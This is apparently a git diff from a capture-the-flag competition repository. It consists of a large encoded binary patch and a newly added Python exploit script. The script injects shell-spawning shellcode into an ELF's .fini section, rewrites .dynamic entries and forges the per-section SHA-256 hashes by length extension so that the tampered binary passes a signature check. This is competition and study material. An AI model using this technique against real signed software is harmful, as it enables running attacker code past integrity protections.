zuQLkh8}4GB?+0B4TM=)p)Cf_>@qzPHx&aGDYTVKzPXQaf16rRJZ}Vl7&*0XDUhI+~UW)IS0?MJ`(!ylE*N8-5p*`M+>dqnew9JBITl1<*VSg2TzLJ(Gi7x z+oS|}WYu^RH^2H**fh999^N8<)inMamXH*!<-%wlB>wH! zx5v5#D9csEpO2lROw6M{%+HbqF};@(v|Vn~6S2eK8h(8v4~7S47n^Swz6u!Wvhk(2ms~tSZ6gkJlVc zYqL;i-ssYIG8*38bXWC0pwm%eEALHRX`n%-XeOpP!SCj16~cwRl|fu$##Ek+;6eQW z7Q;kRISo=dWqta!;{?w-eX2QS;rk`Sn#_#4m4%9ePDhvYOaa9@8zteE5kqDbqUP4C z?S2}Z=g1??RyBS0T&uvLjCA2`)g{`0^g{|T{4R_Dy=pAv)YxnnPpHtD%w z%oOEgec(-`HSHB~QTnv9ghie8*IUf*6JqPEVqCe`kC^$)_q`H(8WYq<#JWny77}|N z69v1(D@w=KKy|iU#b?xfYuW?ic;dy)Ej}&MGRcayAXh z{*X_-_~bt_=)Lp29E*uFdLq=~^ccM(?RX&$b>-*RtH^Sup-IV3xT{0y5Uf@H9WY1h zhO2kWozMjB47ez0nVNwe$|V+_6f|8AcG?0wszi{IVQNf5CtRYSO{WuMb&-t6>Qx(2 zAC5Oi_E{1^i!*KDwayJ#HS?K^>J-_42co~0XinJ+U>~-yR`MCxhouRU!fFhMbGs^% zl0R6B@wSG^k6EclmBxK{EQQhg%M$nEm4akop-T76=HUx#ReWv8#QOeJjp0tkAqjY* zb3rLI2i+UlM{1Bg`!U13SL{2V$C85XTQ&WgKfS8E+b`%n-G*Bj zdWl~mH1cj!F<+_3i8`Vb{oJp6V)Qj6FfC-OMj(Ph!XO4oEzSD0Ajta_tA_t%2>kEwXp_#P8H4mutz8nB?FDA zj$r~wJb~8Kgx4aGVBB!5lRfE-;h&^2IlH^ctIX#=uSI5ayCkdN=@dL+Q1Cjj)qzp? zKoNZ|X=oCn$#ly*UgKg7>z=62Ij9zHyF#I5?#iE*8u9*yCUK4TcYx?y9xa9J11zDY zfhwM(fcU8B%00xeXk$e9VAm9@drTOOx(#zuzA?eL?Yrx_g{Tk3)7DRQ%{`bHGNYo@1*$ei9kOo-S5bY@A)yPZmnFFM+iI^k&n7ft9gR z{!W`3wd&1S%Mx?)qc>=d6jhE;JyjJWJtY-}Sc_ND%0CQK7a3Rj?ljH0ri#pV4Mfbf z8WXp*auZg0={tCA6gxCmJQmPexs@lagjeAS_V)7w2I=-Miije2dQ-ByxDOYm$%0>4 zg+J+Opq*jyR=#J{OM9DHV)9Vdx`{I!M1Arr`hH){{D-|6-PzNeboesP zwXi-<=(BKLAM+TMxA0sVe?5_z_t9`Ppw) z`XpDlQ!*P>$6+;Z=N)2`#bd;<#ap5%-PMM*$Ti+Rp2I2|ut8S`XBX!6h}K$}y!1EO zU^A3F^eQrPs8~y#y@l|nJ)rXq6kNs^OO6E;)%s$WVb9aqhRhtg)(@qeH{O2=w*RPe zAP{4;irc`7j@nF53j%X~M-2A$q8xp7w zp8mthFdGQRvUujhXr&qa`{ugC1+4Co#3cHn#%^urgQNo{BjNpNs8;j0UpHTJ>=?Eh zNcXWUM6#WF23ILn9@@1Ks3o|AaXeg4MsMSOY)(Dr;4whXjz=AdE9yt5G72G~STk+g zL0<~q84l*L?7udprM_TPC+iU}fDkEZI;hOrSjGe(^A;@=ivKNF5-G!`iF67($*1_M zH=(WIB?A4g_4Dv1QK2Hn`Xg)l&&1<|Ls5#q2!XP}2J((z&xjHQsGq1u=xoMqKgW99 z?~psj<&8xVnQi#zm^>b>TaXufRyhEcSw`&uO5VvS<^6c@eYJKNwu2uA#wmau68xS7 z;fmkrR(z31u$zUrWiv-nHR*oW?mbBl)FfHN&AhXjWfq*@>nXdTX%#c- zkGTKdsJ~Tj_jV@WYptSz@HJ)~ZEx&-@ULa7QXw9ysO_V*dLR-M)sgkj^oN;l^v;gn z9to9AU;ZiNFg6;6kFMr&6XHKOjAL@7HQ+?(t;Y&ap_TS1{($mtc-~D!7-1Xdb9P4G zADg6wK8cAXaBTcpZ-_a1N_fb)DL#_v?NMzWI!~o{>@~i|y{@>;UQeibi^s2W)bb&h zlldh*+pSdSbUj$PQ1#WM*HE>Z{@%H5lDij=)%zP2ntjy$imVYH6R{D4bUa_6?Z|yv z{u|RKkIZE=k!{1yZ18lFPts&=(9cX_*s+*LGjbY@W_`MiIqa{sWv^#kxir(w_g(fk zE3>qXv=_=tUvlP2)C%W0fK$0agD}c+j-PvJP?$B5&qW;5l{J%<4901x5zgz9Eql{= zIEA`d&GKSh7Ps#J(u$(sb36Ul4 z_gvBEvfISVNGPzAao31-xvBD-qM>WgASEzVPwVJG0H+zjITEzUo;@;#EHzyCQYsts zbH2m-*PmQGu%i#F>5m4uzZ?Gp9d+Bom`KbChD$heTK!ysHlIB*;<&8g^Ae%cZ`#^|&R>V2 zAe6W~#J1T^N-cowm?-3wk6M>sdS!9UlV=YR=l5K?>2G7vFCvhY%RH*nDUi>lQak7NQ}lostSElr8EzZ5Fa&qULfLmS)nSsGVVoOeCv*Fq+6}_GwdR;~4o;;5JwLV8XD~n9K!Sr)pGx)vr z#vu^Et6n-yJ~W4%fyWReNf4dqhIVr{?spc*X36Eu5HzDkk1lV7yi`}djci1(D>yEM zb19xOC8XyEl~MYLCr9z`cUPF%$(6BB{r|k)-TGG>5w2E0z+A(?$G+e2;q>~yYhLwS zu-`OO>2yIJ!-!@dK`BoXkl*)fZxOtv0x1Gz^;>mPdJ6|PxZUH^{NDy4g6Ehw$hrYO z0bNnOCQaR}S8VkB$XNyB^cWSpQkuxt^t+zyN8yq2Dx_G1@d?`QSX%r9@}n%w@#J_^ zq6ED8Ab|$R_vi24RanjJAc@rg(T1J#VA%6t=h-iiDvA`bmy9~ITu6f=2skt6%H-I< zIByl^`Y2WU{hxXW3pW_>6Ji9-}fG#@&&LSlH&Nl7n zf^CoYR-fzaF1q!MZ`6Edy1G0M`W8+?e5|LmT-?Mpp*Lw{X4B$#_byY9LGCvVW@50c zFOD zL#1T@-2idzJ~^BhEP30%v6jE* zrxTkNZP!ZG1j;ez!x5Io(Wc;4o@oQ<69`;yJQ!em?Fri3)cmRc?^urn`&IpW<~7}9 zCO<68Ic_%W4dsEB2>^*3Z(r8*{AoH<@mNqvG# z{BPR0nRZ%if_=-4_gRhMy%|Iel`|HiXger00@{0o>}_~+ zX792Vlu9JECh$HSjW-)Cndxx2&fr?3&lU22>=DkG#htsW#kN-EFk`>7#^l)>865O% zmkEs2xBYCDAs81E$O1&yc?v#Psz(LmTXRqZH)>Nq_U^rsgOhOZzIsoS5hi_{A4ujp zp6c9aIh#bqx9qXEw0<&bwhHX~5oYSn#7(V@VYmi2`ZuKQWW%S%i8k@R9&lQ}19OGH zdZGh9s_%aylO{=Y6gjo|OT)6w8UIc~Yqtd|&0%0Lo^qSFkW-sVPU1GTV(B2QA5H%$ zRlHnalf}MfIt$kS_Wd4D_eZuc+6v_XWJRT&1$xV|E{{LbX%1skq%rWK(Y=#9C7N&JF0|{ zFi!xecs9uD-A!WvL(Te8aL`;F)p_DXxcmAi3hzqP0M*a+x3x@F z+Qmg*SUTGnVX!q%KX)d4*~{O#5jgmhu!_PaFGKF&EbNuC_CAfe^iG(Hn{I7FSU=ip z|9`(PM(!y%WB4>bb$!x3cLPF25e9XAZ(mOoYnQ)2#pT{FI)aUNQ3l@bHXxbdy)y1n zg>t&-)xO)sHotozxcSBlWeynS-~|^hBKr?an6kgEgah96qd&2^dzuAd_@49BET@Fc zQlN(z3cKRp;0|0vZQ8oXe9skmql);NRz$wPP;!4-rx3MUnf|^HNXq~>E0zGs2;SON z_9yxx1(G}k26h;3sj(cyedXbU#4oD#)&*hz_J)s;O<=zst^R?dJzb!_Jb&9h)L>Wx z2w~ldNL~DutIGP}#O%x2H1`?9c1S;4h;l>3OK}5Ww+ZqOnQHf)%4mwTU_mttgJg;R zl?!OB_md2i2*3`K+Zi|g*@@7o%Z?o=1?R^_sZXp>h#FoybxP7+GsfuWXW6s55!i)E zQVqD0J=?GxhfnJ656zH6X+NI-c1q=w48N4YOyfdd6B@5)YCb0}wANThOXZ4gnl0Pb zFQtK_ecME`F)B{12eR-Jz0lBWsVj_z9?nXJUeG)^IrSV>kgqJtdg2{!Fu0L6-bTVj z;)?2AM0wM18JPx3*zz!&1JVwZzUtDS%*4~M+IA1|MZ8b`^A~BuDMYs}*~58rpVNL- zYPaEf8?|c(X{(~ToBBn1^1IYpt@^QhE3g)}aOD2x194L9=8Nc+0V^tis~utEEmgH2-~`nf$XsmW;X}rf56QoPxAkw!lFq$|0*1kBgy74hw;lw$ z>$ht!%l`nS|FFmQI0={Q9C~O67Qm_^j~d!zV6=)~AtLjSl67dXk{aN_t?S2M`+Q0FLbPTn zN5EYVnCUMbl=+~e4-P-bXz!d-@!#(x22$Obj05H1Vs{baW{PmL@sNlfT!2ks(kt>I zr6)dAa2!3&O`#7L%6+KzK7lS86BrK#>R#d50>vgELOvp60{J>>vQQ3% znX*7uM$qf?-i5LFJT1c%B3Sn_up)EV-_+(G#Vz<`X(r@z2r=W`+UD11Idm%DafCk$ zz}rI~;b9j1SS}W@f(TG>*^#UW>Vt2t`>CD@*568O`veOALE@1jnLI4RfUPx+-rX}k z;^#MwzATuf5X1a7g$_=-^mkK2$qG0%wn^PKucRU+^BLE-zMhX!h0?Iij-Uwl&dt9> zpj#diNj7BTXVQ-Pi+Bj^YGz(1-<$-<(O&<8NvQiX$ROVR3Xv4?6#6tsb=FVD03;;* zEja{t9ippjX@q0Hf6($EnuQvRj)s|D*I~fE=_5>E8A@(9L+^CR0r3eMvDJ3i|L8{i zKeP4o$b&NdktD_cCy?=iwqB^f@|s>FyKN>Fg9CxQBuP@ph%sI%&50BXLXxVcpdDkrHh$8&%XT3q)@TL z&RQS`=uhIzuhYRNO7_2`|6KQn9(bMJw0-|yYk+XJ z>D8~jg{ka@*6E|OtfJp5COM{dhErRuDT4D__)k)se>0oUcEk3pza$ii6l0)Po#t|z z%Z0iTYC?d?_%@1*QO0x{w@92aloG$>m1KalUT41$N)(p=$~;h4DJ|TToC(Dkjh$@0 z>Qa!H6jtkLR~avOk?t{+hZ=YY78%Pm0-i2W;v-??lS(zmDNb_`?&0y+ltz$H>=OZbYB$XtOlQ&LurweFl$Y@WhAjtP!VN5HtTeS4@$zK18=Wm z77q6WzqM&j{&(12@P~3E|J4LoX#OA}Q@Rc_Pi+*9wI`y*=D)Cr!%rOQ*wo{;LJv|W zl{3Orj4rPH`1MP_^M=g?vMm%!NIsWb>>eus65{saqvR3Sb8^W3eb&9ARZ zfb=Q+4->e>E&c?#5-xF9fPn#iwT*D$9v=0d@KrZF7HIe8Y=w3<^=$7jOIiNxOJ zH8!GpnQvf67gek9vru@2Jb-l81*vS-@(j%X_#lzh zYnIfEAbxtSH006@cz(45EJ_5yho6Car@ih{4^V=m9L6eNz*3P!6$7LNOz!yLM|{-# zWnk@zSgggd5b*%TJ)%7bDcJMz7;GsqL~INfY=3HjYdy1&{mEQkJkiShuR6clBM?NF zTw;~8-E38}W9xI#Z6S%ZV|fQGdrT`vf1_7(MMK`lTsL^0=3h?!KQT==_S6!?!={Kczz&ED9Y(IG5;F($>|Hc3AD3D z_(*3#I}O}_-YO?9^K`Xh5S3!xWQ|EqL3}uG){jAaP%5DR+*}Q~1%{B3L?L>Rc(ldY z+(4|(ebY~~wd+HHT~D)&O}xNJ#B^D~UW2E_%)TU@5fL@$rXa0h$k&((e?#N-BxU~U zKxOz9|1H7~kF+t6kL=it1n#vYG@TS9OatekL_ilzKp{@YVcqRPu=aqWo-)^Nz>_#fmo%5+LD4F;^*aToNyP4S(Z|`RuH6DGN(^=~TYw900o9UU$cR7^q4DUG*pP-EY(SOAgJ% zXmCILcd0+|&X{d<+!UPH7xqZFB`;5$H{=|AyL-MrI}q^`ho2ie14q)1&JV%9zf~PI zGxCbiNn40tX@yJ=@6Z@(TL5FT}hv)TOi$a9?SMkiW1na?$Yu$n(qAW zHX2dmgzTn&E`qmxQ`gt$?*;O>iMI2mA#?M^Bw^gX*-&;xb`zR^H%i5_{3Q&4Q;CX_ zD^*J%X5Zw0!8(u^0LlM9(ErEp*L#26!aaL@FCWad7^2dyeT=+`-)s`y1IQCJts^o{ zPzlWteK6icd-tk#8rX|#47E@1SDReJ}R11A>Mpq+h7 z7Lng0my2Hyx7`2lHvbP1#z1W1qXeQ@5RCLLbRnT#BKWuHqU9}aMM6tr0unM2tG?_I z;={uKCw;g$8u1U4+yq-0LLj#%ed}TYji#{ZhcE)UX){9~HGI|Yn_j2F(d9u|Er0eU zHA>Glszz0xE!8u^!4NuK11P((6?KIGO?% z`3*bGF+s{t)(;^-r=F{qB@F5co2EBB4h&keQG^|mX#1oTiEzz743w7pXQdKGh&+st z@&02OcV$$Cegauzs*j~kRo97ceYwRG;aRa>a*!!?>fCM(AQ&OBWEKTqJfAa@`(uIs zJh9ROC^b9W@pEkLgBR+f_D!tAHRZpMp1XgQQm;?M!DD&p7fWT$a_&TizlNl#B_}w0 z_L!h#ypbY^W*VRrrY#=5of8NgNKn>)modOt8AIYhJrMK8u^jWo{mz^&uLFN`VkBra zV$P5G$eUK#fnyV0M6ImA^ix&Bi_}S&Anl$cGbto&MwWeNwpH@o6-psU^Xmp8 zXiuUsz^`g3NPn5)m^J=IDkOy+ND(F~9XAqGe2+b;Mh*$X_j>$Y*kbCc5J+a;h2`#6omErPK-)vWMe(2WG^Agdt1y0p7aG zl3Wc3I1c1@;Iqac3-wsrJTQe*5oDsPYP`RpLzQ0DnFrD=*!uCc7dwyvDG`1uOlSGP^!}iF81!*~R1&jcQg8Uem^$;8ZG!k+u%G z>O{*s+3cmvpItR)$-?Tns8A3>wSE!Yn6EmIs9b+~x+4GK-6+Sn8lqS-4 z2YJ~TXuXrp)=KB76qCIrnMjr2QqC=9jpct>MpB*Em0P}4?_xG0b{X@+S!-6^$aWd~ zrZc9YLj?zEv2TUa*0A450l22p-86&us_HX+e0 zs#H$hsxO_0-#x43=E%1CLEt*_%|s>3I5zuqva;ISek*xbXztfhIgUKp7rk2?5UB|f zkpOdCWkEC3I}tm~8hXPn6#u+mwWW-PMKyk3W42xV^Ke|^E1BZrPYnoAHQuPL@4IFxH+D0!gmQY_ck(R)A&`zHRx1jM%V{!mLOm|-V3QqIsgq;+ z`B}5eKhndf;&P^mOcU~;;ib0Bt+apNKaO(>4Ra|H;0}7=%6=JGI+DMfv zV(r{bc$;Kjb8r^Vyv8mKVy=}X=^E4_ZpO!a@y2JA3u&o{bPzPbrr=s zEM)P2pIEWVFu7H8k(*pE{f~0D?%$vkXX%AQDpsil7CZV7%7pcKDYt_=S0u8MsfyPJ z69&Y$*w4RfIe4`z%h}q^ySa^db+(${DTf+=!A$jRMslEcYPVV^u&dVcv0fu&;;X={ z!3nP3vYk{Jlqc=_72lP=psk7qDz-&I8;km~BKVHz-NKGG^;Q&i7$arsUUGeRe9a_H z=}O&@!Q~(YepYQZ`sL7@)8=0Tomrndvwwtt@O-P*WTOVwY(D>2SvNczYDXDf;V2VR z?W0nI*_KNm@d@6r#Schjj1DXApC<@>V=2}LjVUiBO65ekEbw?C{GhFN_34QcF7}jg z6x``%QWnNK$K~rhCJL~eu%3ocnCBG~wmmCljP_A)R}VX@n#_vaL}8Mw;Nb5G6Ra-Z zj`A}-5+iISczuAKukJ*Oym0~(m+bd>ql2gH;8Hd9rNu@M8?~sw)#sxJmt;z2%GX20=W8>QSyN&Tu;#$Gh1)$FooZxwbKPJLlj2S@Qh_6_ zyB}XJb)`dIdkg}1!oFG@=iIYedD%vrOZ`pI8xF$dxw&#WOWGJEZ=rc}4#7pD%M;j` zuljAq4SaCz1dqxT%t$+WWIInk>qXmRwLb9ssOXpf`&tWdu2IKXokq!uufs_iu*ZZx z_-RH#59*+SU7OV5A!;}5`jFhLzi6K(L#B9st9`Wk<00+&fm>~Eq)u;kFI;2)5X;pv zPMuM2(6F{Wis?=s+c3nSKXUWr*5i-3nP{BnMwc$}>G^qHzp}bu=aO=Qw6oh9fP{BL z4zLE`n>|gQb0Dl~%oXHrY%z&}reLPM!CI@f?~o$G)>l|)C5JlcHvhsadIP5QszrIYt`NEAL9%JG{o_+2q5G3Ggy*C%5J8Fkr{`5d#5>Vn{SB7GLFzOC0S>)_CWMgA_n`@&h sNbbiq95HF5Had7TaPtDW*I*)wlY5`0^#7A_M3LlW7b^J8_?tKX3wXKACjbBd literal 0 HcmV?d00001 diff --git a/2023/dcq/seedling_exploit.py b/2023/dcq/seedling_exploit.py new file mode 100644 index 0000000..4ba7821 --- /dev/null +++ b/2023/dcq/seedling_exploit.py @@ -0,0 +1,87 @@ +from pwn import * +context.arch = "amd64" +shellcode = asm(shellcraft.amd64.linux.sh()) + +import binascii, hashlib, struct + +from elftools.elf.elffile import ELFFile + +from sha2extend import * + +def modify_binary(hashes_file="./test_hashes.txt"): + binary = ELFFile(open("./signed_binary", "rb")) + with open("./signed_binary", "rb") as f: + binary_contents = bytearray(f.read()) + + with open(hashes_file, "rb") as f: + hashes = [x for x in f] + + key_len = 30 + + fini_idx = binary.get_section_index(".fini") + fini_off = binary.get_section(fini_idx).header.sh_offset + fini_end_off = binary.get_section(fini_idx + 1).header.sh_offset + fini_len = fini_end_off - fini_off + + init_array_idx = binary.get_section_index(".init_array") + init_array_data = binary.get_section(init_array_idx).data() + init_array_hash = hashes[init_array_idx + 3].split(b":")[1].decode().strip() + + fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len, + init_array_hash, shellcode) + fini_extension = init_array_data + fini_extension + + pad_len = fini_len - len(fini_extension) + fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len, + init_array_hash, shellcode + (b"\x00" * pad_len)) + fini_extension = init_array_data + fini_extension + + binary_contents[fini_off:fini_off+len(fini_extension)] = fini_extension + hashes[fini_idx + 3] = (f"{init_array_idx+3}{init_array_idx:02X}".encode() + b"\x00:" + + binascii.hexlify(new_fini_hash) + b"\n") + + + dynamic_idx = binary.get_section_index(".dynamic") + dynamic_off = binary.get_section(dynamic_idx).header.sh_offset + dynamic_data = bytearray(binary.get_section(dynamic_idx).data()) + dynamic_len = len(dynamic_data) + + for i in range(0, len(dynamic_data), 16): + if dynamic_data[i:i+16] == (b"\x00" * 16): + dynamic_data = dynamic_data[:i+16] + break + + addr = binary.get_section(fini_idx).header.sh_addr + fini_extension.index(shellcode) + + for i in range(0, len(dynamic_data), 16): + dyn = struct.unpack("Q", orig_data_len*8) + + ctx = sha2_ctx() + sodium.crypto_hash_sha256_init(ctx) + for i in range(8): + ctx.state[i] = struct.unpack(">I", orig_hash[i*4:(i+1)*4])[0] + ctx.count = total_len * 8 + out_hash = ctypes.create_string_buffer(32) + sodium.crypto_hash_sha256_update(ctx, extend_data, len(extend_data)) + sodium.crypto_hash_sha256_final(ctx, out_hash) + + return padding + extend_data, bytes(out_hash)